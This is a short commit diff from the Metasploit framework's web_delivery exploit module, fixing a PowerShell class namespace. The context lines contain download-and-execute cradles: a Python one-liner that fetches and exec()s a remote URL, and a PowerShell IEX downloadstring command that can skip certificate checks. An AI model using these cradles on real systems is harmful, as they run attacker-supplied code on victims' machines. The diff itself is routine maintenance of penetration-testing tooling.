Land #5203, @Meatballs1 fixes #5199 by using the correct namespace

* Fixes web_delivery
bug/bundler_fix
jvazquez-r7 2015-04-20 11:20:48 -05:00
commit 4f59abe842
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 1 additions and 1 deletions

View File

@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
when 'Python'
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
when 'PSH'
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_line generate_psh_command_line(
noprofile: true,